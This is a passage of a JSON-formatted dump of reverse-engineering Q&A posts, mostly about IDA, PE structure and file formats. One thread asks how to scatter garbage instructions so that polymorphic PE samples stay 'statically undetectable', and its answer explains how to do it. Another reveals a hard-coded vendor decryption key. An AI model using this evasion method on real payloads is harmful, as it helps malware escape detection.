        "Body": "<p>I am translating some assembly code into C, and I need some help with a part of it:</p>\n<pre><code>    .equ UBRR_val = 12 ;UBRR sets baud, 12 = 19200baud at 4 MHz\n    .def char = r17 ; Register to hold a character\n\n    .org 0x00 ; Execute this when reset button is pushed\n    rjmp start\n</code></pre>\n<blockquote>\n<p>So I have translated it as follows:</p>\n</blockquote>\n<pre><code>    #define UBRR_val ((4UL/19200)-1) \n    #define char* = 17; \n\n    .org 0x00 ; Execute this when reset button is pushed\n    rjmp start\n</code></pre>\n<blockquote>\n<p>But I can't figure out <code>.org 0x00;</code>\nI think the <code>rjmp start</code> directs to the main so no changes are needed</p>\n</blockquote>\n<p>Anyone that can help with it?</p>\n",
        "Title": "I am translating some assembly code into C",
        "Tags": "|assembly|atmel|",
        "Answer": "<p>The .org-directive set's the location counter, so essentially what they do here is telling the assembler that this code should be placed at 0x00 of the current section, which happens to be global 0x00 aswell and that address seems to be executed on reset on this particular CPU with this particular configuration.</p>\n"
    },
    {
        "Id": "26167",
        "CreationDate": "2020-10-24T09:45:15.447",
        "Body": "<p>I don't know why but I noticed, on some program I am reversing, that in a section named <code>.bss</code>, there functions and I can't find them through the regular search, why is that.</p>\n<p>For example, I wanted to search for <code>_mainScene</code> but it found me only one functioned named <code>newMainScene</code>:<br />\n<a href=\"https://i.stack.imgur.com/jOPa3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jOPa3.png\" alt=\"enter image description here\" /></a></p>\n<p><strong>EDIT:</strong><br />\nA friend show me that I can search with <code>Shift+4</code> in IDA for the names in <code>.bss</code>.</p>\n",
        "Title": "Why some functions in IDA can't be searched",
        "Tags": "|ida|functions|",
        "Answer": "<p>You are not looking at functions that you can't reach, but at unassigned variables.</p>\n<p>As you said, you are looking at the .bss section. From Wikipedia, the .bss section is</p>\n<blockquote>\n<p>the portion of an object file, executable, or assembly language code that contains statically-allocated variables that are declared but have not been assigned a value yet.</p>\n</blockquote>\n<p>IDA is showing you this with the <code>dd</code> opcode. As @blabb point out, this is an <code>uninitialized dword</code>, which mean a dword that was not assigned yet. Exactly what is supposed to be in the .bss section !</p>\n<p>Theses variables don't have any hardcoded default values, so they are placed in this section of the binary, waiting to be populated at runtime with dynamic values.</p>\n<p>What you can do is to write down the address of the variable that you want to find more about, open up a debugger, let it run a bit (or you can break on a specific function if you know where this variable is being populated), and check the content of this variable by looking at the previously written memory address.</p>\n<p>You'll know what type of data is supposed to be inside this variable !</p>\n<p>Don't forget to deactivate the ASLR while running the binary (otherwise the address that you saw in IDA would not match naything), or if needed, to rebase your program in IDA.</p>\n"
    },
    {
        "Id": "26175",
        "CreationDate": "2020-10-25T15:36:34.990",
        "Body": "<p>I think I have a massive understanding problem with the following issue:</p>\n<p>Usually the loader will fix the Import Table for the modules that have been loaded, right, so if I set a breakpoint on CreateFileW the debugger can just follow the Import Table address and do so.</p>\n<p>However, I've been watching some tutorials lately and often they set breakpoints on e.g. CreateFileW for modules that have been loaded dynamically e.g. LoadLibaryA (while themself are at the entry point of the program).</p>\n<p>I'm unable to understand how the debugger can set a breakpoint for a module that yet has not been loaded into the memory?</p>\n",
        "Title": "How can a debugger break on dynamic loaded libraries?",
        "Tags": "|c++|memory|winapi|virtual-memory|",
        "Answer": "<p>The debugging API provides a notification for newly loaded libraries so the debugger can inspect their export table and set breakpoints on matching symbols.</p>\n"
    },
    {
        "Id": "26180",
        "CreationDate": "2020-10-26T13:33:52.540",
        "Body": "<p>I'm reversing some windows drivers, and IDA never converts numbers to their corresponding major function name like IRP_MJ_CREATE = 0x00, how can i force this? is there anyway i can convert a number to major function name?</p>\n<p>ALSO : why doesn't IDA convert it itself? for the first parameter of IoBuildSynchronousFsdRequest is always a major function number, why can't ida just name its MAJOR function name instead of giving me its number?</p>\n",
        "Title": "How to resolve major function numbers to their name while reversing windows drivers?",
        "Tags": "|ida|windows|driver|kernel|",
        "Answer": "<p>Press <code>M</code> with your cursor over a symbolic constant; IDA/Hex-Rays will bring up the enum chooser window. From there, type <code>IRP_MJ_</code>, and the chooser window should jump to the proper enumeration element.</p>\n<p>To have Hex-Rays automatically display function arguments as symbolic constants, change the type of the argument to e.g. <code>MACRO_IRP_MJ</code>, or whatever the name of the enumeration is.</p>\n"
    },
    {
        "Id": "26184",
        "CreationDate": "2020-10-27T10:27:21.053",
        "Body": "<p>I am trying to analyze and disassemble a raw binary that does not have an ELF header using IDA Pro.</p>\n<p>I have been trying to convert to code using MakeCode, but have not gotten anywhere as the binary is quite large.</p>\n<p>I know it is supposed to be a 32 bit LSB binary, and Ghidra decompiles the same raw binary without any problems. However, I do prefer the IDA decompiler to Ghidra which is why I am trying to make it work in IDA as well.</p>\n<p>The main problem is that the list of functions is missing (due to missing headers of course), but this does not seem to be a problem for Ghidra.</p>\n<p>Is it possible to get the same result in IDA as I get in Ghidra? If so, how? What is the correct way to analyze raw binaries in IDA Pro / Hex-Rays?</p>\n",
        "Title": "Analyzing raw binary without ELF header in IDA Pro",
        "Tags": "|ida|ghidra|hexrays|",
        "Answer": "<p>Yes, it's possible.</p>\n<p>In order to do that you should choose on the landing page the correct architecture:\n<a href=\"https://i.stack.imgur.com/xpRCp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xpRCp.png\" alt=\"enter image description here\" /></a></p>\n<p>The file will open without any functions, in it's raw form.</p>\n<p>Then go to the beginning of the file, press the left mouse button, hold <code>shift</code> key, and scroll to the bottom of the file.</p>\n<p>When all the disassembly is selected press <code>c</code> button and choose analyze/force on the pop-up. That should do the trick.</p>\n"
    },
    {
        "Id": "26199",
        "CreationDate": "2020-10-30T11:38:45.497",
        "Body": "<p>I'm trying to parse a PE file manually as below:</p>\n<pre><code>    1 ### DOS Header\n    2 \n    3 00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............\n    4 00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......\n    5 00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n    6 00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................   // e_lfanew = 0x00000080\n    7 \n    8     - DOS Stub\n    9 00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th\n   10 00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno\n   11 00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS\n   12 00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......\n   13 \n   14 -------------------------------------------------------------------\n   15 \n   16 ### NT Header\n   17 \n   18     - Magic\n   19 00000080: 5045 0000\n   20 \n   21     - File Header\n   22                     4c01 0f00 3f55 785e 0088 0400  PE..L...?Ux^....   // NumberOfSections = 0x000f = 15\n   23 00000090: a705 0000 e000 0701                                         // SizeOfOptionalHeader = 0x000e = 14 * 16\n   24 \n   25     - Optional Header\n   26                               0b01 0221 0022 0000  ...........!.&quot;..\n   27 000000a0: 003a 0000 0006 0000 c014 0000 0010 0000  .:..............   // EntryPoint = 0x000014c0 &amp; BaseOfCode = 0x00001000\n   28 000000b0: 0040 0000 0000 4000 0010 0000 0002 0000  .@....@.........   // BaseOfData = 0x00004000 &amp; ImageBase = 0x00400000 &amp; SectionAlignment = 0x00001000 &amp; FileAlignment = 0x00000200\n   29 000000c0: 0400 0000 0100 0000 0400 0000 0000 0000  ................\n   30 000000d0: 0030 0500 0004 0000 3004 0500 0300 4001  .0......0.....@.\n   31 000000e0: 0000 2000 0010 0000 0000 1000 0010 0000  .. .............\n   32 000000f0: 0000 0000 1000 0000\n   33 \n   34         - Data Directories\n   35                               0000 0000 0000 0000  ................\n   36 00000100: 0070 0000 5c07 0000 0000 0000 0000 0000  .p..\\...........   // ImportDirectory: VirtualAddress = 0x00007000 &amp; Size = 0x0000075c\n   37 00000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n   38 00000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n   39 00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n   40 00000140: 5052 0000 1800 0000 0000 0000 0000 0000  PR..............\n   41 00000150: 0000 0000 0000 0000 6871 0000 0401 0000  ........hq......\n   42 00000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n   43 00000170: 0000 0000 0000 0000\n   44 \n   45 -------------------------------------------------\n   46 \n   47 ### Section Headers\n   48 \n   49                               2e74 6578 7400 0000  .........text...\n   50 00000180: 6421 0000 0010 0000 0022 0000 0004 0000  d!.......&quot;......\n   51 00000190: 0000 0000 0000 0000 0000 0000 6000 5060  ............`.P`\n   52 \n   53 000001a0: 2e64 6174 6100 0000 3400 0000 0040 0000  .data...4....@..\n   54 000001b0: 0002 0000 0026 0000 0000 0000 0000 0000  .....&amp;..........\n   55 000001c0: 0000 0000 4000 30c0\n   56                               2e72 6461 7461 0000  ....@.0..rdata..\n   57 000001d0: 6c08 0000 0050 0000 000a 0000 0028 0000  l....P.......(..\n   58 000001e0: 0000 0000 0000 0000 0000 0000 4000 3040  ............@.0@\n   59 \n   60 000001f0: 2e62 7373 0000 0000 0c04 0000 0060 0000  .bss.........`..\n   61 00000200: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n   62 00000210: 0000 0000 8000 60c0\n   63                               2e69 6461 7461 0000  ......`..idata..   // .idata section header\n   64 00000220: 5c07 0000 0070 0000 0008 0000 0032 0000  \\....p.......2..   // VirtualSize = 0x0000075c &amp; VirtualAddress = 0x00000700\n   65 00000230: 0000 0000 0000 0000 0000 0000 4000 30c0  ............@.0.\n   66 \n   67 00000240: 2e43 5254 0000 0000 3400 0000 0080 0000  .CRT....4.......\n   68 00000250: 0002 0000 003a 0000 0000 0000 0000 0000  .....:..........\n   69 00000260: 0000 0000 4000 30c0\n   70                               2e74 6c73 0000 0000  ....@.0..tls....\n   71 00000270: 0800 0000 0090 0000 0002 0000 003c 0000  .............&lt;..\n   72 00000280: 0000 0000 0000 0000 0000 0000 4000 30c0  ............@.0.\n   73 \n   74 00000290: 2f34 0000 0000 0000 e002 0000 00a0 0000  /4..............\n   75 000002a0: 0004 0000 003e 0000 0000 0000 0000 0000  .....&gt;..........\n   76 000002b0: 0000 0000 4000 1042\n   77                               2f31 3900 0000 0000  ....@..B/19.....\n   78 000002c0: efb8 0300 00b0 0000 00ba 0300 0042 0000  .............B..\n   79 000002d0: 0000 0000 0000 0000 0000 0000 4000 1042  ............@..B\n   80 \n   81 000002e0: 2f33 3100 0000 0000 dd25 0000 0070 0400  /31......%...p..\n   82 000002f0: 0026 0000 00fc 0300 0000 0000 0000 0000  .&amp;..............\n   83 00000300: 0000 0000 4000 1042\n   84                               2f34 3500 0000 0000  ....@..B/45.....\n   85 00000310: 9d34 0000 00a0 0400 0036 0000 0022 0400  .4.......6...&quot;..\n   86 00000320: 0000 0000 0000 0000 0000 0000 4000 1042  ............@..B\n   87 \n   88 00000330: 2f35 3700 0000 0000 1c09 0000 00e0 0400  /57.............\n   89 00000340: 000a 0000 0058 0400 0000 0000 0000 0000  .....X..........\n   90 00000350: 0000 0000 4000 3042\n   91 \n   92                               2f37 3000 0000 0000  ....@.0B/70.....\n   93 00000360: 1e05 0000 00f0 0400 0006 0000 0062 0400  .............b..\n   94 00000370: 0000 0000 0000 0000 0000 0000 4000 1042  ............@..B\n   95 \n   96 00000380: 2f38 3100 0000 0000 601a 0000 0000 0500  /81.....`.......\n   97 00000390: 001c 0000 0068 0400 0000 0000 0000 0000  .....h..........\n   98 000003a0: 0000 0000 4000 1042\n   99 \n  100                               2f39 3200 0000 0000  ....@..B/92.....\n  101 000003b0: 4003 0000 0020 0500 0004 0000 0084 0400  @.... ..........\n  102 000003c0: 0000 0000 0000 0000 0000 0000 4000 1042  ............@..B\n  103 \n  104 -------------------------------------------------\n  105 \n  106     - Padding for FileAlignment?\n  107 \n  108 000003d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n  109 000003e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n  110 000003f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n  111 \n  112 ------------------------------------------------\n  113 \n  114 ### Sections\n  115 \n  116 00000400: c38d b426 0000 0000 8db4 2600 0000 0090  ...&amp;......&amp;.....\n  117 00000410: 83ec 1c31 c066 813d 0000 4000 4d5a c705  ...1.f.=..@.MZ..\n  118 00000420: 8c63 4000 0100 0000 c705 8863 4000 0100  .c@........c@...\n  119 00000430: 0000 c705 8463 4000 0100 0000 c705 3060  .....c@.......0`\n  120 00000440: 4000 0100 0000 7518 8b15 3c00 4000 81ba  @.....u...&lt;.@...\n  121 00000450: 0000 4000 5045 0000 8d8a 0000 4000 7450  ..@.PE......@.tP\n  122 00000460: a30c 6040 00a1 9463 4000 85c0 7532 c704  ..`@...c@...u2..\n  123 00000470: 2401 0000 00e8 0220 0000 e805 2000 008b  $...... .... ...\n  124 00000480: 15a8 6340 0089 10e8 d40f 0000 833d 1c40  ..c@.........=.@\n  125 00000490: 4000 0174 4b31 c083 c41c c38d 7426 0090  @..tK1......t&amp;..\n  126 000004a0: c704 2402 0000 00e8 d01f 0000 ebcc 6690  ..$...........f.\n  127 000004b0: 0fb7 5118 6681 fa0b 0174 3d66 81fa 0b02  ..Q.f....t=f....\n         ...           .... Truncated .....                   ...\n</code></pre>\n<p>My questions:</p>\n<ol>\n<li>As you see above, in the line #36, we have <code>virtualAddress</code> related to import libraries. How can I find the corresponding rawAddress of those data in the file content? I mean, how can I convert virtualAddresses to rawAddresses?</li>\n<li>As you see above, we have virtualAddress and Size fields in second index of DataDirectory in optionalHeader (Line #36) and also in .idata sectionHeader (Line #64). And both have equal values. Why? Isn't that redundant? Do we have some cases which these fields have different values?</li>\n<li>As far as I know, .text section contains the program's assembly code. So why EntryPoint field in the OptionalHeader doesn't have the address of beginning of .text section?</li>\n</ol>\n",
        "Title": "How to find \"RawAddress\" of a \"VirtualAddress\"?",
        "Tags": "|pe|entry-point|pe32|virtual-memory|",
        "Answer": "<ol>\n<li><p>you need to parse the section table, figure out to which section your address belongs (using their VirtualAddress and VirtualSize), then calculate the offset from the section start and add it to the section's physical offset. E.g.:</p>\n<p><code>SectionOffset = addr - section[i].VirtualAddress</code><br />\n<code>offset = SectionOffset + section[i].PointerToRawData</code></p>\n</li>\n<li><p>A directory does not necessarily match a whole section. It may be a small part of a section or (in theory) even cross a section boundary. Note that in practice the OS loader may ignore the size field but use e.g. a NULL terminator to detect the end of data.</p>\n</li>\n<li><p>entry point  is not necessarily at the start of <code>.text</code>. This was common in <code>a.out</code> binaries but is pretty rare nowadays both for PE and ELF. Usually there are other functions (e.g. library code) and/or read-only data at the beginning.</p>\n</li>\n</ol>\n"
    },
    {
        "Id": "26203",
        "CreationDate": "2020-10-31T02:37:17.260",
        "Body": "<p>My company has a small number of .exe that were written in the '80s that are performing some minorly important tasks. Source code is gone and documentation is scarce. In order to run them we need to use DOSBox. My team wants to get the process into a modern language so we can maintain the code and if possible see how the program functions. Previous attempts to reserve engineer have failed, I believe because not enough time was allotted to work on the problem. I've doing some exploration to see what is possible. Thus far this is what I think I have found:</p>\n<ol>\n<li>Using IDA PRO 5.0 I can get the code back to assembly. The code looks functional.</li>\n<li>From the above, it appears the original code was either Pascal or Delphi.</li>\n<li>It looks like I can see what compiler (Borland) was used to create the .exe files.</li>\n</ol>\n<p>My question is if I know the compiler was Borland, can I use that information to get back to a relatively correct source code? I know the variable names will be bad and it might have other issue that need to be debugged, but just getting back to the basic structure of the code with loops and defined function calls and methods would be great. If not, am I stuck trying to learn assembly to get a better idea of what is going on?</p>\n",
        "Title": "Can you decompile code if you Know the Complier?",
        "Tags": "|ida|decompilation|delphi|",
        "Answer": "<p>For most languages -- especially ones that are compiled directly into machine code -- the answer to whether knowing the compiler makes it easier to decompile them is &quot;no&quot;. <a href=\"https://reverseengineering.stackexchange.com/questions/311/why-are-machine-code-decompilers-less-capable-than-for-example-those-for-the-clr\">I wrote a post a while ago explaining the difficulties that machine code decompilers face</a>; none of them are made easier by knowing the compiler.</p>\n<p>However, your question doesn't mention any of the specific machine code decompilers such as Ghidra. It has the potential to make your life a lot easier, by giving you a reasonably-good approximation of the source code that is interactive (i.e., allows you to change names and types, add comments, etc). I'd recommend giving it a look. Regardless, assembly language will be involved in the process.</p>\n"
    },
    {
        "Id": "26211",
        "CreationDate": "2020-11-01T20:13:23.270",
        "Body": "<p>I'm trying to understand how Windows is resolving functions with the IAT.</p>\n<p>I have noticed that when a call is made to a Win API function, the structure of that call is not always the same (it's still consistent inside a binary, but not between two differents binary).</p>\n<p>Sometime, if i follow the target address of that call, i find a jump to the resolved Win API function.\nAnd sometime, it's directly a call to the resolved function.</p>\n<p>For instance:</p>\n<ul>\n<li><p>the binary A is using call like :\n<code>call    ds:GetSystemDirectoryW</code></p>\n</li>\n<li><p>the binary B is calling like that:\n<code>call  GetSystemDirectoryW  -&gt; jmp ds:__imp_GetSystemDirectoryW </code></p>\n</li>\n</ul>\n<p>Can someone explain me the this difference in the calling procedure ?</p>\n",
        "Title": "PE - IAT resolve mechanism",
        "Tags": "|pe|iat|",
        "Answer": "<p>The direct call can be generated by the compiler when it knows that the function comes from a DLL at compile time, or whole program optimization is used. If the target function is not marked as dllimport, the compiler generates a simple call to an external symbol and at link time this external symbol is  resolved to a stub which actually jumps to the DLL import.\nFor more info:</p>\n<p><a href=\"https://docs.microsoft.com/en-us/cpp/build/importing-function-calls-using-declspec-dllimport\" rel=\"nofollow noreferrer\"> Importing function calls using __declspec(dllimport)</a></p>\n<p><a href=\"https://devblogs.microsoft.com/oldnewthing/20100318-00/?p=14563\" rel=\"nofollow noreferrer\">What is DLL import binding?</a></p>\n"
    },
    {
        "Id": "26220",
        "CreationDate": "2020-11-02T07:02:41.510",
        "Body": "<p>I've been trying to modify a data file within an app which has random lines of readable text but is mostly incomprehensible, it has no file extension.</p>\n<p>I think its compressed because I was able to find an older version of the same data file [same name, same location in game files] which has a much larger file size and is in plain text.</p>\n<p>By default in the game files, the encrypted/compressed version is used but if I replace it with the older version it still works[all changes between them are however not present], this makes me think that the game does some sort of check to see if the file is compressed then decompresses it if appropriate.</p>\n<p>What can potentially be done to decompress the current data file, or if its not compressed to convert it to plain text.</p>\n<p>Thanks.</p>\n<p>Edit 1:\nHere are links to the original data files:</p>\n<p><a href=\"https://drive.google.com/file/d/1ThunlNtdfwK_hiFpG6ioTkrTpd62E5KR/view?usp=sharing\" rel=\"nofollow noreferrer\">compressed</a></p>\n<p><a href=\"https://drive.google.com/file/d/1mVU-gtYXglSCs6kX-fYWa5yu-neO-Nlo/view?usp=sharing\" rel=\"nofollow noreferrer\">uncompressed older version</a></p>\n<p>Thanks Gordon Freeman.</p>\n",
        "Title": "Seemingly compressed file with some readable text",
        "Tags": "|decryption|decompress|",
        "Answer": "<p>Now you can use AssetsBundleExtractor (Windows)\n<a href=\"https://github.com/DerPopo/UABE/releases\" rel=\"nofollow noreferrer\">https://github.com/DerPopo/UABE/releases</a>\nto open and decompress the file data_a.</p>\n"
    },
    {
        "Id": "26221",
        "CreationDate": "2020-11-02T08:40:34.053",
        "Body": "<p>If I load a dll in 2 different processes, will the offsets calculations within one process hold for the other process?</p>\n<p>I'm currently trying to patch the import table of a dll, once injected into a remote process. I was wondering if I could <code>LoadLibrary</code> and <code>GetProcAddress</code> in the injector process and simply math an expected location in the target process based on the address where the dll is loaded.</p>\n",
        "Title": "Are offsets within a loaded dll always the same relative to each other?",
        "Tags": "|windows|dll-injection|",
        "Answer": "<p>Yes.\nExecutable relocations, whether performed for optimization or security, will only relocate the image (executable, shared object) as a whole.</p>\n<p>For that reason, to bypass ASLR for example, any single address within a chosen shared object is sufficient. Given, of course, you know the precise version and build of the shared object. Knowing the specific build might be an issue by itself, however.</p>\n<p>The reason relocations are done at the shared object level (and not, say, the function level) is because a shared object often has many internal relative references. Those are references that are addressed relatively (and not absolutely) within a single shared object.</p>\n<p>In order to relocate at a lower level, many more relocation fixes will be required of the loader.</p>\n<p>Moreover, and this is more of a historic reason than a technological one, relocations were intended to solve a problem with sharing an address space between multiple shared objects. There was simply no need to do more than change the location of a module altogether. The same base properties were later used for enabling ASLR.</p>\n"
    },
    {
        "Id": "26223",
        "CreationDate": "2020-11-02T17:24:54.120",
        "Body": "<p>This file suppose to have an image obtained from a Laser system. Since it needs a propietary software for the decoder I have been slowed in order to get the data. I wonder if you guys know any way of decoding the information that is in this file. I tried using the fuzzy logic toolbox from matlab that says that reads a .fis file, but could not get it to work. Any ideas very welcome. <a href=\"https://drive.google.com/file/d/18j0LWbhWO2VX8RAlbJ-QkGwvJw22LXCi/view?usp=sharing\" rel=\"nofollow noreferrer\">Sample file</a></p>\n",
        "Title": "I'm trying to decode this file that supposed to encode an imaged obtained by a laser system",
        "Tags": "|file-format|",
        "Answer": "<p>a simple glance ofthefile with a hexeditor says there are two jpegs inside the file\njust carve the data between the signature ffd8ffe0 -----ffd9 and look if that is what you are interested in?</p>\n<pre><code>:\\&gt;e:\\GIT\\usr\\bin\\xxd.exe &quot;1IC4A 0.045 (1).fis&quot; | grep -B 4 -A 4 JFIF\n\n\n000ffdb0: c154 3335 ad75 75c0 58db 4556 4e23 1dd3  .T35.uu.X.EVN#..\n000ffdc0: c685 da86 b636 bc05 1bc2 be06 5202 c358  .....6......R..X\n000ffdd0: a181 00c5 503d 170c 16c8 80da 2d43 5a84  ....P=......-CZ.\n000ffde0: 754a 5606 551a 7946 8c1a d194 0100 0000  uJV.U.yF........\n000ffdf0: cca1 0700 ffd8 ffe0 0010 4a46 4946 0001  ..........JFIF..\n000ffe00: 0200 0001 0001 0000 fffe 0037 4a50 4547  ...........7JPEG\n000ffe10: 2065 6e63 6f64 6572 2062 6173 6564 206f   encoder based o\n000ffe20: 6e20 6970 704a 5020 5b37 2e30 2e31 3034  n ippJP [7.0.104\n000ffe30: 315d 202d 204a 756c 2031 3920 3230 3131  1] - Jul 19 2011\n--\n002748e0: 50e2 b6ea 147e 51f7 61fe c1c3 1f89 a48b  P....~Q.a.......\n002748f0: 8fa0 832d daf3 ca7a 0362 bfd2 7f24 8e74  ...-...z.b...$.t\n00274900: 1300 cd7a 10c2 e192 e208 0e14 5269 14c0  ...z........Ri..\n00274910: 3332 251c 9972 f805 e06c 0100 0000 4a07  32%..r...l....J.\n00274920: 0700 ffd8 ffe0 0010 4a46 4946 0001 0200  ........JFIF....\n00274930: 0001 0001 0000 fffe 0037 4a50 4547 2065  .........7JPEG e\n00274940: 6e63 6f64 6572 2062 6173 6564 206f 6e20  ncoder based on\n00274950: 6970 704a 5020 5b37 2e30 2e31 3034 315d  ippJP [7.0.1041]\n00274960: 202d 204a 756c 2031 3920 3230 3131 00ff   - Jul 19 2011..\n</code></pre>\n"
    },
    {
        "Id": "26231",
        "CreationDate": "2020-11-03T10:36:45.947",
        "Body": "<p>Recently I've been working on a project. The main purpose of the project is to generated statically undetectable PE samples. Where each time one generates a PE sample, each generated sample is going to be significantly different than the previous one. I'll be using <em>shikata_ga_nai</em> (<a href=\"https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/shikata_ga_nai.rb\" rel=\"nofollow noreferrer\">https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/shikata_ga_nai.rb</a>) to achieve polymorphism. However I'm currently working to improve on <em>garbage assembly generation</em>. There are a lot of possibilities to create garbage assembly. However most of the encoders, including shikata_ga_nai generate garbage assembly at a fixed relative position - meaning the garbage instructions are placed at the end of the code or the beginning. Is there anyway to scatter these garbage instructions across the code WITHOUT messing up the conditional/unconditial <code>jmp</code> and <code>call</code> instructions with relative offsets?</p>\n<p>For the sake of simplicity take the below piece of assembly as an example of a code that my PE file is going to execute</p>\n<p>Payload</p>\n<pre><code>0x42:   0F B7 2C 17             movzx   ebp, word ptr [rdi + rdx]\n0x46:   8D 52 02                lea     edx, [rdx + 2]\n0x49:   AD                      lodsd   eax, dword ptr [rsi]\n0x4a:   81 3C 07 57 69 6E 45    cmp     dword ptr [rdi + rax], 0x456e6957\n0x51:   75 EF                   jne     0x42\n</code></pre>\n<p>Let's say the garbage instruction I want to insert is <code>cmovne  rsi, rsi</code>. If I insert this instruction at the beginning or the end of the code the logic of it doesn't change.</p>\n<p>However If I insert <code>cmovne  rsi, rsi</code> before the <code>cmp</code> instruction the <code>0x4a</code> offset, when the conditional jmp instruction at the <code>0x55</code> will execute, it's going to skip the instructions located at <code>0x42</code>-&gt; <code>0x42:  movzx   ebp, word ptr [rdi + rdx]</code> and start executing at address <code>0x46</code> -&gt; <code>lea     edx, [rdx + 2]</code> becase the offset it's trying to jmp is relative to the <code>rip</code>.</p>\n<p>(<strong>Old offset</strong> -&gt; <code>0x42</code>+ <strong>garbage instruction length</strong> -&gt; <code>0x4</code>= <strong>New WRONG offset</strong> -&gt; <code>0x46</code> )</p>\n<p>Garbage padded payload</p>\n<pre><code>0x42:   0F B7 2C 17             movzx   ebp, word ptr [rdi + rdx]\n0x46:   8D 52 02                lea     edx, [rdx + 2]\n0x49:   AD                      lodsd   eax, dword ptr [rsi]\n0x4a:   48 0F 45 F6             cmovne  rsi, rsi\n0x4e:   81 3C 07 57 69 6E 45    cmp     dword ptr [rdi + rax], 0x456e6957\n0x55:   75 EF                   jne     0x46\n</code></pre>\n<p>Is there any approach I can take to resolve this?</p>\n",
        "Title": "Garbage Assembly Code Generationat at random offsets",
        "Tags": "|disassembly|assembly|pe|x86-64|",
        "Answer": "<p>Assemblers are faced with a similar problem: the user writes textual labels such as <code>@loop</code>, and references them in conditional branch instructions such as <code>jbe @loop</code>. However, the assembler does not know ahead of time how far the branch is from the label (in order to generate the displacement for the branch). It only learns that after generating machine code for the rest of the instructions.</p>\n<p>What to do about this? Re-introduce symbolic labels. Instead of representing the <code>jne</code> as <code>jne 0x42</code> -- which has the address directly inside of it -- represent it as <code>jne top_of_loop</code>. Then, after you've added garbage instructions, compute the length from the <code>jne</code> to <code>top_of_loop</code>.</p>\n"
    },
    {
        "Id": "26241",
        "CreationDate": "2020-11-04T17:41:55.267",
        "Body": "<p>I am writing an app to analyze .wav audio files and extract metadata.  The way the metadata works for RIFF based files is shown in this picture:</p>\n<p><a href=\"https://i.stack.imgur.com/OwQXU.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OwQXU.gif\" alt=\"enter image description here\" /></a></p>\n<p>You need to have &quot;format&quot; and &quot;data&quot; subchunks, but then you can have as many subchunks as you want in the file.  To extract a particular subchunk, you go to the first subchunk, read it's ID, and if its not the one you are looking for you get the subchunk size and then skip to the next subchunk ID.</p>\n<p>Other examples of &quot;open&quot; subchunks are iXML and ID3.  The one in particular I am hoping to read is from Soundminer, which is a searchable database program.  Their subchunk ID is &quot;SMED&quot; so I am able to find that and copy the contents of their metadata.  Being that it is a closed subchunk, I'm having difficulty turning that data into a readable format.</p>\n<p>That being said, I have access to Soundminer, so I am able to write specific strings in the SMED  metadata to hopefully decipher later in the data dump.</p>\n<p>Since I'm completely new to this, I'm looking for advice on the best strategy to reverse engineer this metadata.  It is a massive subchunk with the ability to store images and and waveform caches.  I'm looking to just get some of the more simple data like &quot;Description&quot; and &quot;Microphone&quot;.</p>\n<p>I am on macOS so that may limit my methods.  Also the app is being written in swift, but my current method is to dump out the hex values of that data to a text file and manually look for patterns, which I've been able to see some.  For example if I write the letter &quot;a&quot; to the description, then analyze the file, I'll get the same repeated 16 digit value <code>09 14 c2 0c c3 0f 9f 8c</code>, but if I put just one &quot;a&quot; then that value isn't there.  It seems like it needs &quot;aaaaaaaa&quot; to give me the <code>09 14 c2 0c c3 0f 9f 8c</code>.  Obviously this a flawed strategy and not very likely to yield results.</p>\n",
        "Title": "Extract closed format metadata from audio file",
        "Tags": "|macos|",
        "Answer": "<ol>\n<li>Open up the binary in IDA Pro.</li>\n<li>Search for <code>0x534D4544</code>, which is the 32-bit encoding for the <code>SMED</code> tag.</li>\n<li>There are five results; three of them are <code>mov</code> instructions, two of them are <code>cmp</code> instructions. The latter two are the interesting ones; this is where it's comparing the subchunk ID tags. They are both in a function called <code>-[SMMDScanner getSMMetadata:signature:]</code>.</li>\n<li>Immediately you find that it decrypts the data with Blowfish in ECB mode, using the fixed key &quot;u7w58he4746&quot;. (Discard and don't process the first four bytes before decrypting, as those are just the (big-endian) length of the following encrypted data.)</li>\n<li>Immediately you also see that the decrypted data is returned in an <code>NSString</code>, which obviously contains XML data from looking at the strings in the surrounding code. E.g. it ensures that the decrypted data begins with <code>&lt;MAGIC&gt;</code> and ends with <code>&lt;/MAGIC&gt;</code>.</li>\n</ol>\n"
    },
    {
        "Id": "26249",
        "CreationDate": "2020-11-05T06:22:45.740",
        "Body": "<p>Is there a way to customize the format of IDA's decompiled code?</p>\n<p>e.g.</p>\n<pre><code>char buf[7]; // [rsp+5h] [rbp-1Fh]\n</code></pre>\n<p>to</p>\n<pre><code>char buf[ 7 ]; // [ rsp + 5h ] [ rbp - 1Fh ]\n</code></pre>\n<p>or</p>\n<pre><code>switch (c)\n</code></pre>\n<p>to</p>\n<pre><code>switch( c )\n</code></pre>\n",
        "Title": "Custom IDA Decompilation Format",
        "Tags": "|ida|decompilation|c|ida-plugin|",
        "Answer": "<p>Not possible, either through a configuration option or through a plugin. For example, here is the part of the code that prints the <code>[rbp-1Fh]</code> from your example:</p>\n<pre><code>qsnprintf(v16, v36 - v16, &quot;[%s%c%ah]&quot;, gpPlatformStackPointerName, v20, v29);\n</code></pre>\n<p>I.e. the format string that produces it is hard-coded in the binary and cannot be modified.</p>\n"
    },
    {
        "Id": "26256",
        "CreationDate": "2020-11-05T20:58:31.843",
